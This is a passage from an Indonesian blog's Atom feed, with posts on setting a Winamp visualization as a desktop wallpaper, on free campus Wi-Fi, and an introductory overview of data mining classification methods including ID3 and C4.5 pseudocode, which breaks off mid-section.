/&gt;&lt;br /&gt;Masuk ke menu [Winamp] Klik kanan pada [player] pilih --&gt; [Options] --&gt; [Preferences] --&gt; [Plug-ins] ke tree [Visualization] --&gt; pilih sebagai select --&gt; [Advaced Visualization studio v2.81c] [vis_avs.dll]  &lt;br /&gt;kemudian klik Configure pada button bawah setelah box Configure muncul pilih pada  [main] --&gt; [Clear every frame] tidak usah di cheklist biarkan kosong  Effect list kemudian Checklist kotak : Enabled, Enabled Onbeat for kemudian masukkan nilai frame nya tergantung anda pada Input blending dan Output blending pilih sesuai keinginanan anda lihat perubahan Visualizationnya. anda bisa mengubah = ubah Visualizationnya tergantung keinginann anda dengan cara klik pada  panel [+] atau [-] untuk mengurangi pada menu main.&lt;br /&gt;&lt;br /&gt;Untuk Set Visualization Winamp sebagai wallpapaer bergerak di desktop PC anda.&lt;br /&gt;&lt;br /&gt;Klik kanan [winamp] pilih --&gt; [Options]--&gt;[Preferences] --&gt; [Plug-ins] --&gt; [Visualizations] --&gt; select  Advaced Visualization studio v2.81c [vis_avs.dll]  kemudian klik panel Confugurations kemudian pada box Winamp AVS editor Klik Setting(anda harus mengaktifkan Visualizationnya terlebih dahulu seperti tips diatas) kemudian klik Display pada Overlay Mode cheklist lah kotak tersebut sesuaikan warna yang anda sukai atau pilih default sebagai visualization tetap pertama kemudian checklist lah kotak Set Dekstop color sebagai target  ., Aturlah Pixel nya agar tidak pecah-pecah dengan cara kosongkan cheklisan pada pixel doubling pada windowed setting biarkan wait retrace terceklist.. kemudian lihat hasilnya..Tutuplah Winamp AVSEditor tadi setelah muncul kotak konfirmasi perubahan klik [ No ] .ketika memulai winamp  anda dapat men set kembali dengan cara pilih visualization kemudian start..akan otomatis menjadi wallpaper dekstop.&lt;br /&gt;Selamat mencoba…..&lt;br /&gt;Jangan Lupa buat Commandnya yoo..apa bila anda berhasil mengujinya.. hhehe :P~~~~~~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828929578213178164-5036689982907609777?l=sihite.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/5036689982907609777/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5828929578213178164&amp;postID=5036689982907609777&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/5036689982907609777'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/5036689982907609777'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/2007/06/set-efek-visualizations-winamp-sebagai.html' title='Set Efek Visualizations Winamp Sebagai Wallpaper'/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5828929578213178164.post-7382076420323507808</id><published>2007-06-08T17:09:00.000+07:00</published><updated>2007-06-08T17:23:51.050+07:00</updated><title type='text'>Wi-Fi bisa jadi buat kita Malas Kerja</title><content type='html'>Wowow...Sekarang aku mo coba koneksi Wi-Fi Gratis di area kampus USU yang sebenarnya bukan tempat kuliah, ini kampus mank beda....ngasih koneksi internet-an ala gratis ..anytime...free..emang tiap org menginginiya tapi free juga pake privacy kok. baru sekali nyoba wi-fi gratisan loe, epss..tapi mesti punya perangkat masing-masing yang support wi-fi terlebih dahulu..PDA juga boleh selain Laptop asalkan Build in Wi-Fi yang bakalan bisa akses kapan saja. Oh ..yahh buat Anak medan anda boleh koneksi wi-fi gratisan pluss..bisa ngecharger batrre laptop dah di sediain koq.&lt;br /&gt;Jangan pernah ketinggalan yoi...kita harus kenal wi-fi dong..&lt;br /&gt;Okey : jika anda sudah  ready to internet, saat nya untuk memotivasi settingan dengan benar &amp; kenali Wi-Fi nya dulu..maksudnya Wi-Fi nya aman ga ato ya..ntar tanya dulu infonya ama yang bersangkutan jika agak ga konek2.&lt;br /&gt;Apakah Wi-Fi tersebut pake proxy atao automatis konneksi tanpa member atao login sihh...&lt;br /&gt;Kalo pada waktu ini,saya hanya ngerasin koneksi W-Fi itu tinggal launching internet sedikit settingan pada IP Proxy yang di sediakan oleh penyedia kampus.&lt;br /&gt;Wahh...ternyata gua heran juga..kampus and halaman perpustakaan kebanjiran user nihh ...hingga koneksinya low.. :P. maklum Wi-Fi gratis ala kampus...aku nihh jadi ketagihan buat gua konesi terus menrus hingga tujuan ngerjain tugas malah lupa yang mungkin juga kita harus lupa pulang rumah kalii....huahua&lt;br /&gt;Okey..ingat....Wi-Fi gratis buat kita lupa ngerjain sesuatu..kalo bayar mungkin ga bakalan lupa kali..karena ingat2 billing nya terus...hehhehe..tapi kalo mo &lt;span style="color: rgb(255, 0, 0); font-weight: bold; font-style: italic;"&gt;nge - hack billing agar gratis..anda bisa  beli bukunya &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;di toko buku yg tersedia pengarang oleh : sihite dahlan yaitu Hacking software for newbie.&lt;br /&gt;Thx...sekian dulu semuanya....&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828929578213178164-7382076420323507808?l=sihite.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/7382076420323507808/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5828929578213178164&amp;postID=7382076420323507808&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/7382076420323507808'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/7382076420323507808'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/2007/06/wi-fi-bisa-jadi-buat-kita-malas-kerja.html' title='Wi-Fi bisa jadi buat kita Malas Kerja'/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5828929578213178164.post-7619173217168806091</id><published>2007-06-08T16:22:00.000+07:00</published><updated>2007-06-08T16:59:53.184+07:00</updated><title type='text'>memulai  Data kembali..[ - Struktur dari Clasification Data mining -]</title><content type='html'>Proses analisa data dengan menggunakan perangkat lunak untuk menemukan&lt;br /&gt;suatu pola dan aturan dalam himpunan data di sebut sebagai data Mining yang mampu&lt;br /&gt;menganalisa data yang besar menjadi informasi berupa pola yang mempunyai arti bagi&lt;br /&gt;pendukung keputusan. Salah satu teknik yang ada pada data mining adalah classification&lt;br /&gt;yaitu proses untuk menemukan model atau fungsi yang menjelaskan atau membedakan&lt;br /&gt;konsep atau kelas data, dengan tujuan untuk dapat memperkirakan kelas dari suatu objekyang labelnya tidak diketahui.&lt;br /&gt;Suatu perangkat lunak yang mengimplementasikan salah satu metode dalam&lt;br /&gt;classification yaitu decision tree dengan algoritma C4.5 kemudian menganalisa nilai&lt;br /&gt;prosentase kebenaran tree dan hasil klasifikasi yang dibuat serta membandingkankannya&lt;br /&gt;dengan menggunakan tool WEKA J48 yang membantu. Alat bantu yang digunakan untuk implementasi adalah Microsoft Visual Basic dan DBMS (Database Management&lt;br /&gt;System). Hasil pengujian menunjukkan bahwa tree yang dihasilkan dari perangkat lunak&lt;br /&gt;yang dibuat dengan metode decition tree dengan algoritma C4.5 mempunyai prosentase&lt;br /&gt;kebenaran tree antara 66.67% sampai 100%. Besar prosentase kebenaran tree tersebut&lt;br /&gt;sangat dipengaruhi oleh data training yang digunakan untuk membangun model tree&lt;br /&gt;tersebut.&lt;br /&gt;&lt;br /&gt;Secara umum ada dua jenis task pada data mining yaitu :&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;- Metode Predictive&lt;/span&gt;&lt;br /&gt;Menggunakan beberapa variabel untuk memprediksikan variabel lain yang tidak&lt;br /&gt;diketahui jenis atau nilainya.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;- Metode Descriptive&lt;/span&gt;&lt;br /&gt;Mencari suatu pola yang mudah dipahami oleh manusia yang mendeskripsikan&lt;br /&gt;data.Yang akan digunakan dalam tugas akhir ini adalah metode predictive, karena&lt;br /&gt;metode classification yang digunakan pada tugas akhir ini termasuk dalam metode&lt;br /&gt;predictive.&lt;br /&gt;&lt;br /&gt;&lt;p class="western" style="margin-left: 1.27cm; line-height: 150%;" align="justify" lang="sv-SE"&gt; &lt;span style="font-size: 13pt;font-size:100%;" &gt;&lt;b&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;Fungsi dari data Mining&lt;/span&gt; &lt;/b&gt;&lt;/span&gt; &lt;/p&gt; &lt;p class="western" style="text-indent: 1.27cm; line-height: 150%;" align="justify" lang="sv-SE"&gt; Data Mining dapat  diklasifikasikan dengan fungsi yang dilakukan atau berdasar kelas aplikasi yang digunakan :&lt;/p&gt; &lt;ol style="color: rgb(0, 0, 153);"&gt;&lt;li&gt;&lt;p class="western" style="line-height: 150%;" align="justify"&gt;Association&lt;/p&gt; &lt;/li&gt;&lt;/ol&gt; &lt;p class="western" style="margin-left: 0.75cm; text-indent: 0.05cm; line-height: 150%;" align="justify"&gt; Tipe pola yang penting yang dapat ditemukan dari basis data adalah sebuah aturan. Association Rule&lt;i&gt; &lt;/i&gt;mempunyai bentuk LHS &lt;span style="font-family:Symbol, serif;"&gt;&lt;/span&gt; RHS dengan interpretasi jika setiap item dalam LHS ( Left Hand Side) dibeli maka item dalam RHS (RightHand Side) juga dibeli.&lt;/p&gt; &lt;ol style="color: rgb(0, 0, 153);" start="2"&gt;&lt;li&gt;&lt;p class="western" style="line-height: 150%;" align="justify"&gt;Pola  Sequantial&lt;/p&gt; &lt;/li&gt;&lt;/ol&gt; &lt;p class="western" style="margin-left: 0.75cm; text-indent: 0.05cm; line-height: 150%;" align="justify"&gt; Sequantial Patern&lt;i&gt; &lt;/i&gt;adalah sequence dari intemset yang dibeli oleh pembeli yang sama.&lt;/p&gt; &lt;ol start="3"&gt;&lt;li style="color: rgb(0, 0, 153);"&gt;&lt;p class="western" style="line-height: 150%;" align="justify"&gt;Bayesian  Network&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="line-height: 150%;" align="justify"&gt;Tipe  dari rule yang dibahas menggambarkan asosiasi dalam basis data dan  tidak implisit relasi kausal. Bayesian Network&lt;i&gt; &lt;/i&gt;adalah model  grafis yang dapat merepresentasikan relasi kausal.&lt;/p&gt;  &lt;/li&gt;&lt;li style="color: rgb(0, 0, 153);"&gt;&lt;p class="western" style="line-height: 150%;" align="justify"&gt;Classification  dan Regression&lt;/p&gt; &lt;/li&gt;&lt;/ol&gt; &lt;p class="western" style="margin-left: 0.75cm; text-indent: 0.05cm;"&gt;Classification&lt;i&gt; &lt;/i&gt;dan&lt;i&gt; &lt;/i&gt;regression rule&lt;i&gt; &lt;/i&gt;adalah rule umum yang melibatkan atribut numerik dan kategori&lt;i&gt;. &lt;/i&gt; &lt;/p&gt; &lt;ol style="color: rgb(0, 0, 153);" start="6"&gt;&lt;li&gt;&lt;p class="western" style="line-height: 150%;" align="justify"&gt;Decission  tree&lt;/p&gt; &lt;/li&gt;&lt;/ol&gt; &lt;p class="western" style="margin-left: 0.75cm; text-indent: 0.05cm; line-height: 150%;" align="justify"&gt; Classification dan dan&lt;i&gt; &lt;/i&gt;regression rule sering direpresentasikan dalam bentuk tree. Jika sebuah tree merepresentasaikan koleksi classification tree sering disebut decission tree&lt;i&gt;. &lt;/i&gt;Decission Tree dibangun secara &lt;i&gt;greedy top-down.&lt;/i&gt;&lt;/p&gt; &lt;ol style="color: rgb(0, 0, 153);" start="7"&gt;&lt;li&gt;&lt;p class="western" style="line-height: 150%;" align="justify"&gt;Clustering&lt;/p&gt; &lt;/li&gt;&lt;/ol&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;    Tujuan clustering&lt;i&gt; &lt;/i&gt;untuk partisi sebuah koleksi record dalam group yang disebut cluster&lt;i&gt; &lt;/i&gt;    dimana record sejenis itu terdapat dalam cluster yang sama dan record yang tidak             mirip terdapat dalam cluster yang beda. Kemiripan biasanya berdasar dalam fungsi         jarak&lt;i&gt;. &lt;/i&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;    &lt;span style="color: rgb(0, 0, 153);"&gt;8.Pencarian  Kemiripan dalam sequence&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-left: 0.64cm; margin-bottom: 0cm; line-height: 150%;" align="center"&gt; Kemiripan queri&lt;i&gt; &lt;/i&gt;dalam sequence&lt;i&gt; &lt;/i&gt; artinya kita melakukan  queri secara tepat yang dan juga mendapatkan hasil yang agak berbeda dari hasil queri yang tepat. Sebuah sequence&lt;i&gt; &lt;/i&gt;adalah rangkaian terurut dari angka. Pengukuran perbedaan diantara dua sequence dapat dilakukan dengan menghitung jarak&lt;i&gt; &lt;/i&gt;Eucladian&lt;i&gt; &lt;/i&gt;diantara sequence&lt;i&gt;.&lt;/i&gt;&lt;/p&gt; &lt;p style="margin-left: 0.64cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;br /&gt;&lt;/p&gt; &lt;h2 class="western" style="line-height: 150%;"&gt;&lt;span lang="it-IT"&gt;&lt;span style="font-size: 13pt;font-size:100%;" &gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-style: normal;"&gt;Metode – Metode Pada &lt;/span&gt;Data mining&lt;span style="font-style: normal;"&gt; &lt;/span&gt;Classification&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify" lang="it-IT"&gt; Metode-metode yang ada pada Data Mining Classification antara lain adalah :&lt;/p&gt; &lt;ol&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify" lang="it-IT"&gt;  &lt;b&gt;Decision Tree&lt;/b&gt;&lt;/p&gt; &lt;/li&gt;&lt;/ol&gt; &lt;p style="text-indent: 1.27cm; margin-bottom: 0cm; line-height: 150%;" align="justify" lang="it-IT"&gt; Merupakan salah satu fungsional dari Data Mining yang menggunakan representasi tree untuk menentukan aturan-aturan klasifikasi. Ada dua tipe yaitu :&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;i&gt;Classification&lt;/i&gt;  tree&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p style="margin-left: 1.27cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; Memberi label dan memasukan record-record ke dalam kelas-kelas yang telah disediakan&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;Regression  tree   &lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p style="margin-left: 1.27cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; Membuat estimasi nilai dari sebuah variabel target yang berdasar pada nilai numerik.&lt;/p&gt; &lt;p style="text-indent: 1.27cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; Yang akan digunakan dalam penelitian ini adalah classification tree, karena penelitian ini hanya mengklasifikasikan data-data ke dalam kelas-kelas yang telah tersedia. Data mining classification dengan decission tree akan dibahas lebih detil.&lt;/p&gt; &lt;ol start="2"&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;b&gt;Neural  Networks&lt;/b&gt;&lt;/p&gt; &lt;/li&gt;&lt;/ol&gt; &lt;p style="text-indent: 1.27cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; &lt;i&gt;Neural networks&lt;/i&gt;  atau sering disebut dengan jaringan syaraf merupakan salah satu representasi buatan dari otak manusia yang selalu mencoba untuk mensimulasikan proses pembelajaran pada otak manusia tersebut. &lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;span lang="nl-NL"&gt;Komponen-komponen pada jaringan syaraf terdiri dari 8 :&lt;/span&gt;&lt;/p&gt; &lt;ol&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify" lang="nl-NL"&gt;  Neuron. Neuron-neuron akan mentranformasikan informasi yang diterima  melalui sambungan keluarnya menuju ke neuron-neuron yang lain.&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify" lang="nl-NL"&gt;  Bobot, adalah hubungan yang ada pada jaringan syaraf.  Informasi-informasi yang ditransformasikan melalui neuron disimpan  pada suatu nilai tertentu pada bobot tertentu.&lt;/p&gt; &lt;/li&gt;&lt;/ol&gt; &lt;p class="western" style="margin-left: 0.8cm; line-height: 150%;" align="justify"&gt; &lt;/p&gt; &lt;p style="text-indent: 0.64cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; Informasi (disebut dengan: input) akan dikirim ke neuron dengan bobot kedatangan tertentu. Input ini akan diproses oleh suatu fungsi perambatan yang akan menjumlahkan nilai-nilai semua bobot yang datang. Hasil penjumlahan ini kemudian akan dibandingkan dengan suatu nilai ambang (threshold) tertentu melalui fungsi aktivasi setiap neuron. Apabila, input tersebut melewati suatu nilai ambang tertentu, maka neuron tersebut akan diaktifkan, tapi kalau tidak, maka neuron tersebut tidak akan diaktifkan. Apabila neuron tersebut diaktifkan, maka neuron tersebut akan mengirimkan output melalui bobot-bobot outputnya ke semua neuron yang berhubungan dengannya. Demikian seterusnya.  &lt;/p&gt; &lt;ol&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;b&gt;k-Nearest  Neighbor Classifiers&lt;/b&gt;&lt;/p&gt; &lt;/li&gt;&lt;/ol&gt; &lt;p style="text-indent: 1.27cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; Nearest Neighbor Classifiers berdasarkan pada proses pembelajaran menggunakan analogi / &lt;i&gt;learning by analogi &lt;/i&gt;[1]. &lt;i&gt;Training&lt;/i&gt; sampelnya dideskripsikan dalam bentuk atribut numerik n-dimensi. Tiap sampel mewakili sebuah titik pada ruang n-dimensi. Dengan cara ini, semua &lt;i&gt;training&lt;/i&gt; sampel disimpan pada pola ruang n-dimensi. Ketika diberikan “unknown” sampel, k-nearest neighbor classifier mencari pola ruang K &lt;i&gt;training&lt;/i&gt; sampel yang paling dekat “unknown” sampel tersebut. K &lt;i&gt;training&lt;/i&gt; sampel ini adalah &lt;i&gt;k nearest neighbor&lt;/i&gt; dari &lt;i&gt;unknown&lt;/i&gt; sampel.&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;“&lt;span lang="es-AR"&gt;Closeness: dinyatakan dengan Euclidean Distance, dimana Euclidean Distance antara 2 titik, X  = (x1, x2, ….., xn) dan Y = (y1,y2,….,yn) adalah d(X,Y) = &lt;/span&gt;&lt;/p&gt;  &lt;p style="text-indent: 0.64cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; &lt;span lang="es-AR"&gt;Unknown sampel ditetapkan dengan class yang paling umum diantara k nearest neighborsnya. Ketika k = 1, unknown sampel ditetapkan dengan class dari &lt;i&gt;training&lt;/i&gt; sampel yang paling dekat dengan pola ruang-nya. Nearest Neighbor menyimpan semua &lt;i&gt;training&lt;/i&gt; sampel dan tidak membangun classifier sampai sampel baru (unlabeled) perlu diklasifikasikan, sehingga Nearest Neighbor Classifiers sering disebut dengan instance-&lt;br /&gt;based atau lazy learners. Lazy learners dapat menyebabkan biaya penghitungan (computational cost) nya mahal ketika jumlah dari neighbor yang potensial (yakni, &lt;i&gt;training&lt;/i&gt; sampel yang disimpan) dengan unlabeled sampel yang akan dibandingkan sangat besar. Oleh karena itu, diperlukan teknik pengindeksan yang efisien. Kenyataannya, metode lazy learning lebih cepat pada saat &lt;i&gt;training&lt;/i&gt; daripada metode eager, tetapi lebih lambat pada saat &lt;i&gt;classification&lt;/i&gt; karena semua penghitungan ditunda sampai pada saat itu.&lt;/span&gt;&lt;/p&gt; &lt;ol&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;b&gt;Algoritma  Genetika&lt;/b&gt;&lt;/p&gt; &lt;/li&gt;&lt;/ol&gt; &lt;p style="text-indent: 1.27cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; Algoritma genetika didasarkan pada analogi pada evolusi biologi. Pada algoritma ini, teknik pencarian dilakukan sekaligus atas sejumlah solusi yang mungkin dikenal dengan istilah &lt;b&gt;populasi &lt;/b&gt;8. Individu yang terdapat dalam satu populasi disebut dengan istilah &lt;b&gt;kromosom&lt;/b&gt;. Kromosom ini merupakan suatu solusi yang masih berbentuk simbol. Populasi awal dibangun secara acak, sedangkan populasi berikutnya merupakan hasil evolusi kromosom-kromosom melalui iterasi yang disebut dengan istilah &lt;b&gt;generasi&lt;/b&gt;. Pada setiap generasi, kromosom akan melalui proes evaluasi dengan menggunakan alat ukur yang disebut dengan &lt;b&gt;fungsi fitness&lt;/b&gt;. &lt;span lang="sv-SE"&gt;Nilai fitness dari suatu kromosom akan menunjukkan kualitas kromosom dalam populasi tersbut. Generasi berikutnya dikenal dengan istilah anak (&lt;b&gt;offspring&lt;/b&gt;) terbentuk dari gabungan 2 kromosom generasi sekarang yang bertindak sebagai induk (&lt;b&gt;parent&lt;/b&gt;) dengan menggunakan operator penyilangan (&lt;b&gt;crossover&lt;/b&gt;). Selain operator penyilangan, suatu kromosom dapat juga dimodifikasi dengan menggunakan operator &lt;b&gt;mutasi&lt;/b&gt;. Populasi generasi yag baru dibentuk dengan cara menyeleksi nilai fitness dari kromosom induk (parent) dan nilai fitness dari kromosom anak (offspring), serta menolak kromosom-kromosom yang lainnya sehingga ukuran populasi (jumlah kromosom dalam populasi) konstan. Setelah melalui beberapa generasi, maka algoritma ini akan konvergen ke kromosom terbaik.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify" lang="sv-SE"&gt; Secara umum pembelajaran genetik dimulai sebagai berikut :  &lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;span lang="sv-SE"&gt; Sebuah populasi awal dibuat yang terdiri dari aturan-aturan yang digenarate secara acak. Tiap rule dapat diwakilkan dengan bit-bit string. Contohnya, sampel-sampel pada &lt;i&gt;training&lt;/i&gt; set yang diberikan digambarkan dengan dua atribut boolean, A1 dan A2, dan ada 2 class, C1 dan C2. &lt;/span&gt;Aturan “IF A1 AND NOT A2 THEN C2” dapat dikodekan dengan bit string “100”, dimana dua leftmost bit merepresentasikan atribut A1 dan A2, dan rightmost bit merepresentasikan class. Untuk aturan “IF NOT A1 AND NOT A2  &lt;/p&gt;&lt;p class="western" style="line-height: 150%;" align="justify"&gt;THEN C1 dapat dikodekan dengan “001”. Jika atribut mempunyai K nilai, dimana k &gt; 2, maka k bit digunakan untuk mengkodekan nilai-nilai atribut. Class-class dapat dikodekan dengan cara yang sama.&lt;/p&gt; &lt;h2 class="western" style="line-height: 150%;"&gt;&lt;span style="font-size: 13pt;font-size:100%;" &gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-style: normal;"&gt;2.4 &lt;/span&gt;Decision tree&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt; &lt;p class="western" style="text-indent: 1.27cm; line-height: 150%;" align="justify"&gt; &lt;i&gt;Decision tree&lt;/i&gt; adalah flow-chart seperti struktur tree, dimana tiap internal node menunjukkan sebuah test pada sebuah atribut, tiap cabang menunjukkan hasil dari test, dan leaf node menunjukkan class-class atau class distribution [6].&lt;/p&gt; &lt;h3 class="western" style="line-height: 150%;" lang="nl-NL"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;2.4.1 Algoritma ID3 dan Algoritma C4.5&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt; &lt;p class="western" style="text-indent: 1.27cm; line-height: 150%;" align="justify"&gt; &lt;span lang="nl-NL"&gt;Sebelum membahas algoritma C4.5 perlu dijelaskan terlebih dahulu algoritma ID3 karena C4.5 adalah ekstensi dari algoritma decision-tree ID3. Algoritma ID3/C4.5 ini secara rekursif membuat sebuah &lt;i&gt;decision tree&lt;/i&gt; berdasarkan &lt;i&gt;training&lt;/i&gt; data yang telah disiapkan. Algoritma ini mempunyai inputan berupa &lt;i&gt;training samples&lt;/i&gt; dan &lt;i&gt;samples&lt;/i&gt;. &lt;i&gt;Training samples &lt;/i&gt;berupa data contoh yang akan digunakan untuk membangun sebuah tree yang telah diuji kebenaranya. Sedangkan &lt;i&gt;samples&lt;/i&gt;  merupakan field-field data yang nantinya akan kita gunakan sebagai parameter dalam melakukan klasifikasi data. Berikut adalah algoritma dasar dari ID3 dan C4.5&lt;/span&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p class="western" align="justify"&gt;&lt;b&gt;Algoritma ID3 [6]&lt;/b&gt;&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p class="western"&gt;Input : &lt;i&gt;Training&lt;/i&gt; samples, samples&lt;/p&gt; &lt;p class="western"&gt;Output : &lt;i&gt;Decision tree&lt;/i&gt;&lt;/p&gt; &lt;p class="western"&gt;Method :&lt;/p&gt; &lt;ol&gt;&lt;li&gt;&lt;p class="western" align="justify"&gt;Create node N;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" align="justify"&gt;&lt;b&gt;If &lt;/b&gt; samples are all of  the same class, C &lt;b&gt;then&lt;/b&gt;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" align="justify"&gt;     Return N as a leaf node  labeled with the class C;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" align="justify"&gt;&lt;b&gt;if&lt;/b&gt; atribute-list is  empty &lt;b&gt;then&lt;/b&gt;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" align="justify"&gt;      Return N as a leaf node  labeled with the most common class in samples;     // majority  voting&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" align="justify"&gt;select test-atribute, atribute  among atribute-list with the highest information gain;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" align="justify"&gt;label node N with  test-atribute;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" align="justify"&gt;for each known value a&lt;sub&gt;i&lt;/sub&gt;  of test-atribute // partition the samples&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" align="justify"&gt;      grow a branch from node N  for the condition test-atribute = a&lt;sub&gt;i&lt;/sub&gt;;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" align="justify"&gt;   let s&lt;sub&gt;i&lt;/sub&gt; be the set  of samples in samples for which test-atribute = a&lt;sub&gt;i&lt;/sub&gt;; //               a  partition&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" align="justify"&gt;    &lt;b&gt;if&lt;/b&gt; s&lt;sub&gt;i&lt;/sub&gt; is  empty then&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" align="justify"&gt;        attach a leaf labeled  with the ,most common class in samples;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" align="justify"&gt;    &lt;b&gt;else&lt;/b&gt; attach the node  returned by Generate_decision_tree(s&lt;sub&gt;i&lt;/sub&gt;,  attriute-list-test-atribute);&lt;/p&gt; &lt;/li&gt;&lt;/ol&gt; &lt;p class="western" style="margin-left: 0.64cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p class="western" align="justify"&gt;&lt;b&gt;Algoritma C4.5 [15]&lt;/b&gt;&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;ol&gt;&lt;li&gt;&lt;p class="western" align="justify"&gt;Build the &lt;i&gt;decision tree&lt;/i&gt;  form the &lt;i&gt;training&lt;/i&gt; set (conventional ID3).&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" align="justify"&gt;Convert the resulting tree into  an equivalent set of rules. The number of rules is equivalent to the  number of possible paths from the root to a leaf node.&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" align="justify"&gt;Prune (generalize) each rule by  removing preconditions that increase &lt;i&gt;classification&lt;/i&gt; accuracy.&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" align="justify"&gt;Sort pruned rules by their  accuracy, and use them in this order when classifying future test  examples.&lt;/p&gt; &lt;/li&gt;&lt;/ol&gt; &lt;h3 class="western" style="line-height: 150%;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;2.4.2 Information Gain&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt; &lt;p class="western" style="text-indent: 1.27cm; line-height: 150%;" align="justify"&gt; Information gain adalah salah satu 